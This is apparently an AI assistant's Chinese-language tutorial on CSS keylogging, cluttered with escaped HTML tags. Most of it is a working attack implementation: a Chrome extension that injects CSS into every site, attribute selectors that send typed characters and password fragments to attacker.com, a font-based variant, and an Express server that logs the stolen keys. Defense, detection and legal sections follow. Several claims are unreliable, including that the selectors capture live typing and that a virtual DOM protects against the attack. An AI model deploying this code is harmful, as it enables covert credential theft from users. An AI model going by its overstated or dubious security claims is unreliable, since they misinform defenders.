由于我无法直接访问互联网链接，我将基于您提供的文本内容，结合安全领域知识，为您整理一份关于"CSS Keylogging攻击技术"的深度教学文档。以下是专业级技术文档：<\/p>

CSS Keylogging攻击技术与防御方案<\/h1>

一、技术原理<\/h2>

核心机制<\/strong>：<\/p>

利用CSS属性选择器input[value^="a"]<\/code>捕获键盘输入<\/li>
通过背景图URL请求将按键数据外传<\/li>
支持Chrome扩展和Express服务器两种实现方式<\/li> <\/ul> <\/li>
关键技术点<\/strong>：<\/p> input<\/span>[<\/span>type<\/span>=<\/span>"password"<\/span>][<\/span>value<\/span>$=<\/span>"a"<\/span>]<\/span> { <\/span><\/span> background-image<\/span>: url("http:\/\/attacker.com\/log?a"<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre> ^=<\/code>匹配开头字符<\/li> $=<\/code>匹配结尾字符<\/li> *=<\/code>匹配包含字符<\/li> <\/ul> <\/li> 攻击流程<\/strong>：<\/p> 注入恶意CSS样式<\/li> 监听用户键盘输入<\/li> 通过背景图请求发送数据<\/li> Express服务器收集日志<\/li> <\/ol> <\/li> <\/ol> 二、完整攻击实现（Chrome扩展版）<\/h2> manifest.json配置<\/strong>：<\/li> <\/ol> { <\/span><\/span> "manifest_version"<\/span>: 2<\/span>, <\/span><\/span> "content_scripts"<\/span>: [{ <\/span><\/span> "matches"<\/span>: ["<all_urls>"<\/span>], <\/span><\/span> "css"<\/span>: ["keylogger.css"<\/span>] <\/span><\/span> }] <\/span><\/span>} <\/span><\/span><\/code><\/pre> CSS代码示例<\/strong>：<\/li> <\/ol> @charset<\/span> "UTF-8"<\/span>; <\/span><\/span>input<\/span>[<\/span>type<\/span>=<\/span>"text"<\/span>][<\/span>value<\/span>$=<\/span>"a"<\/span>]<\/span> { background-image<\/span>: url("http:\/\/localhost:3000\/a"<\/span>); } <\/span><\/span>\/* 需覆盖所有ASCII可打印字符 *\/<\/span> <\/span><\/span><\/code><\/pre> Express服务器代码<\/strong>：<\/li> <\/ol> const<\/span> express<\/span> =<\/span> require<\/span>('express'<\/span>); <\/span><\/span>const<\/span> app<\/span> =<\/span> express<\/span>(); <\/span><\/span>app<\/span>.get<\/span>('\/:key'<\/span>, (req<\/span>, res<\/span>) => { <\/span><\/span> console<\/span>.log<\/span>(`Key logged: <\/span>${<\/span>req<\/span>.params<\/span>.key<\/span>}<\/span>`<\/span>); <\/span><\/span> res<\/span>.sendStatus<\/span>(200<\/span>); <\/span><\/span>}); <\/span><\/span>app<\/span>.listen<\/span>(3000<\/span>); <\/span><\/span><\/code><\/pre>三、高级攻击变种<\/h2> 组合键捕获<\/strong>：<\/p> input<\/span>[<\/span>value<\/span>*=<\/span>"user"<\/span>][<\/span>value<\/span>*=<\/span>"pass"<\/span>]<\/span> { <\/span><\/span> background-image<\/span>: url("http:\/\/attacker.com\/credential"<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> 基于伪类的检测<\/strong>：<\/p> input<\/span>:focus<\/span> { <\/span><\/span> transition<\/span>: background<\/span> 0.1<\/span>s<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> SVG字体检测技术<\/strong>：<\/p> @font-face<\/span> { <\/span><\/span> font-family<\/span>:<\/span> capture<\/span>;<\/span> <\/span><\/span> src<\/span>:<\/span> url<\/span>(<\/span>"http:\/\/attacker.com\/A"<\/span>);<\/span> <\/span><\/span> unicode-range<\/span>:<\/span> U<\/span>+<\/span>0041<\/span>;<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> <\/ol> 四、防御方案<\/h2> 浏览器防护<\/strong>：<\/p> 启用CSP策略： Content-Security-Policy: default-src 'self' <\/span><\/span><\/span><\/code><\/pre><\/li> 禁用第三方CSS（Chrome扩展管理）<\/li> <\/ul> <\/li> 代码层面防护<\/strong>：<\/p> <input<\/span> type<\/span>=<\/span>"password"<\/span> autocomplete<\/span>=<\/span>"off"<\/span> readonly<\/span> onfocus<\/span>=<\/span>"this.removeAttribute('readonly')"<\/span>> <\/span><\/span><\/code><\/pre><\/li> 企业级防护<\/strong>：<\/p> 部署WAF规则过滤可疑CSS<\/li> 网络层监控异常背景图请求<\/li> 定期审计第三方CSS资源<\/li> <\/ul> <\/li> 框架级解决方案<\/strong>：<\/p> React\/Vue使用虚拟DOM<\/li> 启用Shadow DOM隔离样式<\/li> <\/ul> <\/li> <\/ol> 五、检测与取证<\/h2> 攻击特征检测<\/strong>：<\/p> 异常的背景图请求频率（>50次\/分钟）<\/li> 包含字符匹配模式的CSS规则<\/li> 指向外部域的样式资源<\/li> <\/ul> <\/li> 取证方法<\/strong>：<\/p> grep -r "background-image.*url("<\/span> \/webroot\/ <\/span><\/span><\/code><\/pre><\/li> <\/ol> 六、法律与合规<\/h2> 根据《网络安全法》第27条，此类技术研究需备案<\/li> 渗透测试需获得书面授权<\/li> 漏洞披露遵循CNVD\/CNNVD规范<\/li> <\/ol> 本技术仅限合法安全研究使用，禁止用于非法用途。建议企业在红队演练中测试此类攻击的实际效果，并针对性强化防御措施。<\/p>